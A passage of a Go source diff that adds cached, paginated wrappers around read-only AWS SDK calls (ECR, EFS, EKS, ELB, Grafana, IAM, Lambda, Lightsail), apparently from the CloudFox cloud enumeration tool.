sharedLogger.Error(err.Error())
break
}
repositories = append(repositories, DescribeRepositories.Repositories...)
// Pagination control.
if DescribeRepositories.NextToken != nil {
PaginationControl = DescribeRepositories.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, repositories, cache.DefaultExpiration)
return repositories, nil
}
// create a CachedECRDescribeImages function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) ([]ecrTypes.ImageDetail, error) {
var PaginationControl *string
var images []ecrTypes.ImageDetail
cacheKey := fmt.Sprintf("%s-efs-DescribImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached Images data")
return cached.([]ecrTypes.ImageDetail), nil
}
for {
DescribeImages, err := ECRClient.DescribeImages(
context.TODO(),
&ecr.DescribeImagesInput{
NextToken: PaginationControl,
RepositoryName: &repositoryName,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
images = append(images, DescribeImages.ImageDetails...)
// Pagination control.
if DescribeImages.NextToken != nil {
PaginationControl = DescribeImages.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, images, cache.DefaultExpiration)
return images, nil
}
// create a CachedECRGetRepositoryPolicy function that uses go-cache line the other Cached* functions. It should accept a ecr client, account id, and region. Make sure it handles the region option and pagination if needed
func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID string, region string, repositoryName string) (string, error) {
// in repositoryName, replace "/" with "-"
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached ECR repository policy data")
return cached.(string), nil
}
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
context.TODO(),
&ecr.GetRepositoryPolicyInput{
RepositoryName: &repositoryName,
},
func(o *ecr.Options) {
o.Region = region
},
)
if err != nil {
sharedLogger.Error(err.Error())
return "", err
}
PolicyText := aws.ToString(GetRepositoryPolicy.PolicyText)
internal.Cache.Set(cacheKey, PolicyText, cache.DefaultExpiration)
return PolicyText, nil
}
+178
View File
@@ -0,0 +1,178 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/efs"
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
"github.com/patrickmn/go-cache"
)
type AWSEFSClientInterface interface {
DescribeFileSystems(ctx context.Context, params *efs.DescribeFileSystemsInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemsOutput, error)
DescribeMountTargets(ctx context.Context, params *efs.DescribeMountTargetsInput, optFns ...func(*efs.Options)) (*efs.DescribeMountTargetsOutput, error)
DescribeAccessPoints(ctx context.Context, params *efs.DescribeAccessPointsInput, optFns ...func(*efs.Options)) (*efs.DescribeAccessPointsOutput, error)
DescribeFileSystemPolicy(ctx context.Context, params *efs.DescribeFileSystemPolicyInput, optFns ...func(*efs.Options)) (*efs.DescribeFileSystemPolicyOutput, error)
}
func RegisterEFSTypes() {
gob.Register([]efsTypes.FileSystemDescription{})
gob.Register([]efsTypes.MountTargetDescription{})
gob.Register([]efsTypes.AccessPointDescription{})
gob.Register(policy.Policy{})
}
func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string, r string) ([]efsTypes.FileSystemDescription, error) {
var PaginationMarker *string
var filesystems []efsTypes.FileSystemDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.FileSystemDescription), nil
}
for {
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
context.TODO(),
&efs.DescribeFileSystemsInput{
Marker: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
filesystems = append(filesystems, DescribeFileSystems.FileSystems...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeFileSystems.Marker != nil {
PaginationMarker = DescribeFileSystems.Marker
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, filesystems, cache.DefaultExpiration)
return filesystems, err
}
func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.MountTargetDescription, error) {
var PaginationMarker *string
var mountTargets []efsTypes.MountTargetDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.MountTargetDescription), nil
}
for {
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
context.TODO(),
&efs.DescribeMountTargetsInput{
FileSystemId: aws.String(filesystemId),
Marker: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
mountTargets = append(mountTargets, DescribeMountTargets.MountTargets...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeMountTargets.Marker != nil {
PaginationMarker = DescribeMountTargets.Marker
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, mountTargets, cache.DefaultExpiration)
return mountTargets, err
}
func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID string, r string, filesystemId string) ([]efsTypes.AccessPointDescription, error) {
var PaginationMarker *string
var accessPoints []efsTypes.AccessPointDescription
var err error
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]efsTypes.AccessPointDescription), nil
}
for {
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
context.TODO(),
&efs.DescribeAccessPointsInput{
FileSystemId: aws.String(filesystemId),
NextToken: PaginationMarker,
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return nil, err
}
accessPoints = append(accessPoints, DescribeAccessPoints.AccessPoints...)
// Pagination control. After the last page of output, the for loop exits.
if DescribeAccessPoints.NextToken != nil {
PaginationMarker = DescribeAccessPoints.NextToken
} else {
PaginationMarker = nil
break
}
}
internal.Cache.Set(cacheKey, accessPoints, cache.DefaultExpiration)
return accessPoints, err
}
func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemId string, r string, accountID string) (policy.Policy, error) {
var efsPolicy policy.Policy
var policyJSON string
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(policy.Policy), nil
}
Policy, err := EFSClient.DescribeFileSystemPolicy(
context.TODO(),
&efs.DescribeFileSystemPolicyInput{
FileSystemId: aws.String(filesystemId),
},
func(o *efs.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
return efsPolicy, err
}
policyJSON = aws.ToString(Policy.Policy)
efsPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return efsPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", filesystemId, err)
}
internal.Cache.Set(cacheKey, efsPolicy, cache.DefaultExpiration)
return efsPolicy, nil
}
+152
View File
@@ -0,0 +1,152 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/eks"
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
"github.com/patrickmn/go-cache"
)
type EKSClientInterface interface {
DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error)
ListClusters(context.Context, *eks.ListClustersInput, ...func(*eks.Options)) (*eks.ListClustersOutput, error)
DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error)
ListNodegroups(context.Context, *eks.ListNodegroupsInput, ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error)
}
func RegisterEKSTypes() {
gob.Register([]string{})
gob.Register(eksTypes.Cluster{})
gob.Register(eksTypes.Nodegroup{})
}
func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clusterName string, region string) (eksTypes.Cluster, error) {
var cluster eksTypes.Cluster
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(eksTypes.Cluster), nil
}
clusterOutput, err := client.DescribeCluster(
context.TODO(),
&eks.DescribeClusterInput{
Name: &clusterName,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return cluster, err
}
cluster = *clusterOutput.Cluster
internal.Cache.Set(cacheKey, cluster, cache.DefaultExpiration)
return cluster, nil
}
func CachedEKSListClusters(client EKSClientInterface, accountID string, region string) ([]string, error) {
var PaginationControl *string
var clusters []string
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListClusters, err := client.ListClusters(
context.TODO(),
&eks.ListClustersInput{
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return clusters, err
}
clusters = append(clusters, ListClusters.Clusters...)
//pagination
if ListClusters.NextToken == nil {
break
}
PaginationControl = ListClusters.NextToken
}
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
return clusters, nil
}
func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region string, clusterName string) ([]string, error) {
var PaginationControl *string
var nodeGroups []string
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]string), nil
}
for {
ListNodeGroups, err := client.ListNodegroups(
context.TODO(),
&eks.ListNodegroupsInput{
ClusterName: &clusterName,
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return nodeGroups, err
}
nodeGroups = append(nodeGroups, ListNodeGroups.Nodegroups...)
if ListNodeGroups.NextToken != nil {
PaginationControl = ListNodeGroups.NextToken
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, nodeGroups, cache.DefaultExpiration)
return nodeGroups, nil
}
func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, region string, clusterName string, nodeGroupName string) (eksTypes.Nodegroup, error) {
var nodeGroup eksTypes.Nodegroup
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, nodeGroupName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(eksTypes.Nodegroup), nil
}
nodeGroupOutput, err := client.DescribeNodegroup(
context.TODO(),
&eks.DescribeNodegroupInput{
ClusterName: &clusterName,
NodegroupName: &nodeGroupName,
},
func(o *eks.Options) {
o.Region = region
},
)
if err != nil {
return nodeGroup, err
}
nodeGroup = *nodeGroupOutput.Nodegroup
internal.Cache.Set(cacheKey, nodeGroup, cache.DefaultExpiration)
return nodeGroup, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
"github.com/patrickmn/go-cache"
)
type ELBClientInterface interface {
DescribeLoadBalancers(context.Context, *elasticloadbalancing.DescribeLoadBalancersInput, ...func(*elasticloadbalancing.Options)) (*elasticloadbalancing.DescribeLoadBalancersOutput, error)
}
func RegisterELBTypes() {
gob.Register([]elbTypes.LoadBalancerDescription{})
}
func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string, region string) ([]elbTypes.LoadBalancerDescription, error) {
var PaginationControl *string
var loadbalancers []elbTypes.LoadBalancerDescription
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]elbTypes.LoadBalancerDescription), nil
}
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
&elasticloadbalancing.DescribeLoadBalancersInput{
Marker: PaginationControl,
},
func(o *elasticloadbalancing.Options) {
o.Region = region
},
)
if err != nil {
return loadbalancers, err
}
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancerDescriptions...)
//pagination
if DescribeLoadBalancers.NextMarker == nil {
break
}
PaginationControl = DescribeLoadBalancers.NextMarker
}
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
return loadbalancers, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
"github.com/patrickmn/go-cache"
)
type ELBv2ClientInterface interface {
DescribeLoadBalancers(context.Context, *elasticloadbalancingv2.DescribeLoadBalancersInput, ...func(*elasticloadbalancingv2.Options)) (*elasticloadbalancingv2.DescribeLoadBalancersOutput, error)
}
func RegisterELBv2Types() {
gob.Register([]elbV2Types.LoadBalancer{})
}
func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID string, region string) ([]elbV2Types.LoadBalancer, error) {
var PaginationControl *string
var loadbalancers []elbV2Types.LoadBalancer
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]elbV2Types.LoadBalancer), nil
}
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
&elasticloadbalancingv2.DescribeLoadBalancersInput{
Marker: PaginationControl,
},
func(o *elasticloadbalancingv2.Options) {
o.Region = region
},
)
if err != nil {
return loadbalancers, err
}
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancers...)
//pagination
if DescribeLoadBalancers.NextMarker == nil {
break
}
PaginationControl = DescribeLoadBalancers.NextMarker
}
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
return loadbalancers, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/grafana"
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
"github.com/patrickmn/go-cache"
)
type GrafanaClientInterface interface {
ListWorkspaces(context.Context, *grafana.ListWorkspacesInput, ...func(*grafana.Options)) (*grafana.ListWorkspacesOutput, error)
}
func RegisterGrafanaTypes() {
gob.Register([]grafanaTypes.WorkspaceSummary{})
}
func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string, region string) ([]grafanaTypes.WorkspaceSummary, error) {
var PaginationControl *string
var workspaces []grafanaTypes.WorkspaceSummary
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]grafanaTypes.WorkspaceSummary), nil
}
for {
ListWorkspaces, err := client.ListWorkspaces(
context.TODO(),
&grafana.ListWorkspacesInput{
NextToken: PaginationControl,
},
func(o *grafana.Options) {
o.Region = region
},
)
if err != nil {
return workspaces, err
}
workspaces = append(workspaces, ListWorkspaces.Workspaces...)
//pagination
if ListWorkspaces.NextToken == nil {
break
}
PaginationControl = ListWorkspaces.NextToken
}
internal.Cache.Set(cacheKey, workspaces, cache.DefaultExpiration)
return workspaces, nil
}
+252
View File
@@ -0,0 +1,252 @@
package sdk
import (
"context"
"crypto/md5"
"encoding/gob"
"encoding/hex"
"fmt"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/iam"
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/patrickmn/go-cache"
)
type AWSIAMClientInterface interface {
ListUsers(ctx context.Context, params *iam.ListUsersInput, optFns ...func(*iam.Options)) (*iam.ListUsersOutput, error)
ListAccessKeys(ctx context.Context, params *iam.ListAccessKeysInput, optFns ...func(*iam.Options)) (*iam.ListAccessKeysOutput, error)
ListRoles(ctx context.Context, params *iam.ListRolesInput, optFns ...func(*iam.Options)) (*iam.ListRolesOutput, error)
GetAccountAuthorizationDetails(ctx context.Context, params *iam.GetAccountAuthorizationDetailsInput, optFns ...func(*iam.Options)) (*iam.GetAccountAuthorizationDetailsOutput, error)
SimulatePrincipalPolicy(ctx context.Context, params *iam.SimulatePrincipalPolicyInput, optFns ...func(*iam.Options)) (*iam.SimulatePrincipalPolicyOutput, error)
ListInstanceProfiles(ctx context.Context, params *iam.ListInstanceProfilesInput, optFns ...func(*iam.Options)) (*iam.ListInstanceProfilesOutput, error)
}
func RegisterIamTypes() {
gob.Register([]iamTypes.User{})
gob.Register([]iamTypes.AccessKeyMetadata{})
gob.Register([]iamTypes.Role{})
gob.Register([]iamTypes.PolicyDetail{})
gob.Register([]iamTypes.InstanceProfile{})
gob.Register([]iamTypes.EvaluationResult{})
gob.Register(customGAADOutput{})
}
func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.User, error) {
var PaginationControl *string
var users []iamTypes.User
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.User), nil
}
for {
ListUsers, err := IAMClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
users = append(users, ListUsers.Users...)
// Pagination control.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, users, cache.DefaultExpiration)
return users, nil
}
func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.Role, error) {
var PaginationControl *string
var roles []iamTypes.Role
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.Role), nil
}
for {
ListRoles, err := IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
roles = append(roles, ListRoles.Roles...)
// Pagination control.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, roles, cache.DefaultExpiration)
return roles, nil
}
func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string, userName string) ([]iamTypes.AccessKeyMetadata, error) {
var PaginationControl *string
var accessKeys []iamTypes.AccessKeyMetadata
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.AccessKeyMetadata), nil
}
for {
ListAccessKeys, err := IAMClient.ListAccessKeys(
context.TODO(),
&iam.ListAccessKeysInput{
UserName: &userName,
Marker: PaginationControl,
},
)
if err != nil {
return accessKeys, err
}
accessKeys = append(accessKeys, ListAccessKeys.AccessKeyMetadata...)
// Pagination control.
if ListAccessKeys.Marker != nil {
PaginationControl = ListAccessKeys.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, accessKeys, cache.DefaultExpiration)
return accessKeys, nil
}
type customGAADOutput struct {
GroupDetailList []iamTypes.GroupDetail
UserDetailList []iamTypes.UserDetail
RoleDetailList []iamTypes.RoleDetail
Policies []iamTypes.ManagedPolicyDetail
}
func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, accountID string) (customGAADOutput, error) {
var PaginationControl *string
var GroupDetailList []iamTypes.GroupDetail
var UserDetailList []iamTypes.UserDetail
var RoleDetailList []iamTypes.RoleDetail
var Policies []iamTypes.ManagedPolicyDetail
var AllAccountAuthorizationDetails = customGAADOutput{
GroupDetailList: GroupDetailList,
UserDetailList: UserDetailList,
RoleDetailList: RoleDetailList,
Policies: Policies,
}
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(customGAADOutput), nil
}
for {
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
context.TODO(),
&iam.GetAccountAuthorizationDetailsInput{
Marker: PaginationControl,
},
)
if err != nil {
return AllAccountAuthorizationDetails, err
}
AllAccountAuthorizationDetails.GroupDetailList = append(AllAccountAuthorizationDetails.GroupDetailList, GetAccountAuthorizationDetails.GroupDetailList...)
AllAccountAuthorizationDetails.UserDetailList = append(AllAccountAuthorizationDetails.UserDetailList, GetAccountAuthorizationDetails.UserDetailList...)
AllAccountAuthorizationDetails.RoleDetailList = append(AllAccountAuthorizationDetails.RoleDetailList, GetAccountAuthorizationDetails.RoleDetailList...)
AllAccountAuthorizationDetails.Policies = append(AllAccountAuthorizationDetails.Policies, GetAccountAuthorizationDetails.Policies...)
if GetAccountAuthorizationDetails.Marker != nil {
PaginationControl = GetAccountAuthorizationDetails.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, AllAccountAuthorizationDetails, cache.DefaultExpiration)
return AllAccountAuthorizationDetails, nil
}
func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID string, principal *string, actionNames []string, resourceArns []string) ([]iamTypes.EvaluationResult, error) {
var PaginationControl2 *string
var EvaluationResults []iamTypes.EvaluationResult
md5hashedActionNames := md5.Sum([]byte(strings.Join(actionNames, "")))
md5hashedResourceArns := md5.Sum([]byte(strings.Join(resourceArns, "")))
// proccess arn and get the name of the resource
arn, err := arn.Parse(*principal)
if err != nil {
return EvaluationResults, err
}
name := arn.Resource
// if name has muliplte / then get the last one
if strings.Contains(arn.Resource, "/") {
name = arn.Resource[strings.LastIndex(arn.Resource, "/")+1:]
}
truncatedHashLength := 8
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.EvaluationResult), nil
}
for {
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
ActionNames: actionNames,
PolicySourceArn: principal,
ResourceArns: resourceArns,
},
)
if err != nil {
return EvaluationResults, err
}
EvaluationResults = append(EvaluationResults, SimulatePrincipalPolicy.EvaluationResults...)
if SimulatePrincipalPolicy.Marker != nil {
PaginationControl2 = SimulatePrincipalPolicy.Marker
} else {
PaginationControl2 = nil
break
}
}
internal.Cache.Set(cacheKey, EvaluationResults, cache.DefaultExpiration)
return EvaluationResults, nil
}
+147
View File
@@ -0,0 +1,147 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/lambda"
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
"github.com/patrickmn/go-cache"
)
type LambdaClientInterface interface {
ListFunctions(context.Context, *lambda.ListFunctionsInput, ...func(*lambda.Options)) (*lambda.ListFunctionsOutput, error)
GetFunction(context.Context, *lambda.GetFunctionInput, ...func(*lambda.Options)) (*lambda.GetFunctionOutput, error)
GetFunctionUrlConfig(context.Context, *lambda.GetFunctionUrlConfigInput, ...func(*lambda.Options)) (*lambda.GetFunctionUrlConfigOutput, error)
}
func RegisterLambdaTypes() {
gob.Register([]lambdaTypes.FunctionConfiguration{})
gob.Register(customGetFuntionURLOutput{})
}
// create a CachedLambdaListFunctions function that accepts a lambda client, account id, region. Make sure it uses go-cache and handles the region option and pagination
func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, region string) ([]lambdaTypes.FunctionConfiguration, error) {
var PaginationControl *string
var functions []lambdaTypes.FunctionConfiguration
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]lambdaTypes.FunctionConfiguration), nil
}
for {
ListFunctions, err := client.ListFunctions(
context.TODO(),
&lambda.ListFunctionsInput{
Marker: PaginationControl,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
return functions, err
}
functions = append(functions, ListFunctions.Functions...)
//pagination
if ListFunctions.NextMarker == nil {
break
}
PaginationControl = ListFunctions.NextMarker
}
internal.Cache.Set(cacheKey, functions, cache.DefaultExpiration)
return functions, nil
}
type customGetFuntionURLOutput struct {
// The type of authentication that your function URL uses. Set to AWS_IAM if you
// want to restrict access to authenticated users only. Set to NONE if you want to
// bypass IAM authentication to create a public endpoint. For more information, see
// Security and auth model for Lambda function URLs (https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html)
// .
//
// This member is required.
AuthType lambdaTypes.FunctionUrlAuthType
// When the function URL was created, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
// (YYYY-MM-DDThh:mm:ss.sTZD).
//
// This member is required.
CreationTime *string
// The Amazon Resource Name (ARN) of your function.
//
// This member is required.
FunctionArn *string
// The HTTP URL endpoint for your function.
//
// This member is required.
FunctionUrl *string
// When the function URL configuration was last updated, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
// (YYYY-MM-DDThh:mm:ss.sTZD).
//
// This member is required.
LastModifiedTime *string
// The cross-origin resource sharing (CORS) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)
// settings for your function URL.
Cors *lambdaTypes.Cors
// Use one of the following options:
// - BUFFERED – This is the default option. Lambda invokes your function using
// the Invoke API operation. Invocation results are available when the payload is
// complete. The maximum payload size is 6 MB.
// - RESPONSE_STREAM – Your function streams payload results as they become
// available. Lambda invokes your function using the InvokeWithResponseStream API
// operation. The maximum response payload size is 20 MB, however, you can
// request a quota increase (https://docs.aws.amazon.com/servicequotas/latest/userguide/request-quota-increase.html)
// .
InvokeMode lambdaTypes.InvokeMode
}
// create a CachedLambdaGetFunctionUrlConfig function that accepts a lambda client, account id, region, and function name. Make sure it uses go-cache and handles the region option
func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID string, region string, functionName string) (customGetFuntionURLOutput, error) {
var functionUrlConfigOutput customGetFuntionURLOutput
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(customGetFuntionURLOutput), nil
}
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
context.TODO(),
&lambda.GetFunctionUrlConfigInput{
FunctionName: &functionName,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
return functionUrlConfigOutput, err
}
functionUrlConfigOutput = customGetFuntionURLOutput{
AuthType: GetFunctionUrlConfig.AuthType,
CreationTime: GetFunctionUrlConfig.CreationTime,
FunctionArn: GetFunctionUrlConfig.FunctionArn,
FunctionUrl: GetFunctionUrlConfig.FunctionUrl,
LastModifiedTime: GetFunctionUrlConfig.LastModifiedTime,
Cors: GetFunctionUrlConfig.Cors,
InvokeMode: GetFunctionUrlConfig.InvokeMode,
}
internal.Cache.Set(cacheKey, functionUrlConfigOutput, cache.DefaultExpiration)
return functionUrlConfigOutput, nil
}
+87
View File
@@ -0,0 +1,87 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/lightsail"
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
"github.com/patrickmn/go-cache"
)
type lightsailClientInterface interface {
GetInstances(context.Context, *lightsail.GetInstancesInput, ...func(*lightsail.Options)) (*lightsail.GetInstancesOutput, error)
GetContainerServices(context.Context, *lightsail.GetContainerServicesInput, ...func(*lightsail.Options)) (*lightsail.GetContainerServicesOutput, error)
}
func RegisterLightsailTypes() {
//gob.Register([]lightsailTypes.Instance{})
gob.Register([]lightsailTypes.ContainerService{})
}
func CachedLightsailGetInstances(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.Instance, error) {
var PaginationControl *string
var services []lightsailTypes.Instance
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
// cacheKey := fmt.Sprintf("%s-lightsail-GetInstances-%s", accountID, region)
// cached, found := internal.Cache.Get(cacheKey)
// if found {
// return cached.([]lightsailTypes.Instance), nil
// }
for {
GetInstances, err := client.GetInstances(
context.TODO(),
&lightsail.GetInstancesInput{
PageToken: PaginationControl,
},
func(o *lightsail.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, GetInstances.Instances...)
//pagination
if GetInstances.NextPageToken == nil {
break
}
PaginationControl = GetInstances.NextPageToken
}
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
//internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
func CachedLightsailGetContainerServices(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.ContainerService, error) {
var services []lightsailTypes.ContainerService
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
